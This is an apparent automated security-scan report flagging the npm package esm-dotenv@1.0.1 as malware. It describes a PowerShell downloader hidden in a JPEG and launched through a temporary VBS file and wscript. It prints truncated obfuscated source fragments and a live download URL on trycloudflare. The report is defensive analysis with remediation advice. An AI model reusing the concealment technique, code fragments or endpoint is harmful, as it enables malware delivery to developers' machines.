registry / Remote code execution / esm-dotenv
esm-dotenv
A fast, validated, zero-dependency environment configuration toolkit for Node.js
This report shows the evidence for esm-dotenv@1.0.1, the only known version.
AI Security Review
scanned 23d ago · by lpm-firewall-aiThis is an active concealed remote-code-execution chain, not environment configuration functionality. The import-time and CLI triggers make the payload directly reachable.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Requiring dist/index.cjs or invoking the dot2env CLI.
Impact
A remote executable can be downloaded and run on Windows without a package feature requiring that behavior.
Mechanism
The code extracts an encoded command from dist/stest.jpg, writes a temporary VBS launcher, and starts it detached through wscript.
Attack narrative
The package disguises a PowerShell downloader as image metadata. Its CommonJS import path and CLI invoke the loader automatically, which creates a self-deleting VBS file and launches an encoded PowerShell command hidden and detached. The embedded command downloads winhost from a trycloudflare endpoint into the local application-data temporary area and starts it.
AI rationale
This is an active concealed remote-code-execution chain, not environment configuration functionality. The import-time and CLI triggers make the payload directly reachable.
Evidence
package.jsondist/index.cjsdist/cli.cjsdist/stest.jpg
Network endpoints1
duo-strengthening-essex-ian.trycloudflare.com/download/winhost
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest exposes the affected CommonJS module as the main entry point and the affected CLI as its executable.
- The CommonJS entry automatically invokes a concealed dispatcher during module loading.
- That dispatcher extracts text from a JPEG, creates a temporary VBS launcher, and starts hidden detached PowerShell with an encoded command.
- The CLI loads and invokes the same concealed dispatcher.
- The JPEG contains an encoded PowerShell payload that downloads an executable from duo-strengthening-essex-ian.trycloudflare.com and starts it.
Evidence against
- The manifest has no install, preinstall, or postinstall lifecycle hook; activation occurs on import or CLI use.
Behavioral surface
ChildProcessDynamicRequireEnvironmentVarsEvalFilesystemShell
HighEntropyStringsMinified
Source & flagged code
6 flagged · loading sourcedist/decode.jsView file
1function b(c,d){c=c-0x103;const e=a();let f=e[c];return f;}function a(){const a5=['30tjDNDI','7dAuPIe','5467314oeSAbL','12352452OObjmx','88dgByNK','__filename','WOHgw','GnDqL','334...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/decode.jsView on unpkg · L1dist/index.cjsView file
•matchType = normalized_sha256
matchedPackage = stestenv@1.0.1
matchedPath = dist/index.cjs
matchedIdentity = npm:c3Rlc3RlbnY:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/index.cjsView on unpkg1"use strict";var N=(e,n)=>()=>{try{return n||e((n={exports:{}}).exports,n),n.exports}catch(t){throw n=0,t}};var T=N((Ve,V)=>{var R=require("fs"),q=require("path"),J=require("os"),{...
L2: `].join("")),g=["relay_",Date.now().toString(),Math.random().toString(36).slice(2),".vbs"].join(""),s=q.join(J.tmpdir(),g);R.writeFileSync(s,l);let a=["wscript",".exe"].join("");re...
Findings
4 High3 Medium5 Low
HighSemantic Analysis Limiteddist/cli.cjs#virtual:normalized:round1
HighKnown Malware Source Similaritydist/cli.cjs
HighKnown Malware Source Similaritydist/index.cjs
HighKnown Malware Source Fingerprint Signaturedist/cli.cjs
MediumDynamic Requiredist/index.cjs
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/decode.js
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to esm-dotenv@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing esm-dotenv@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.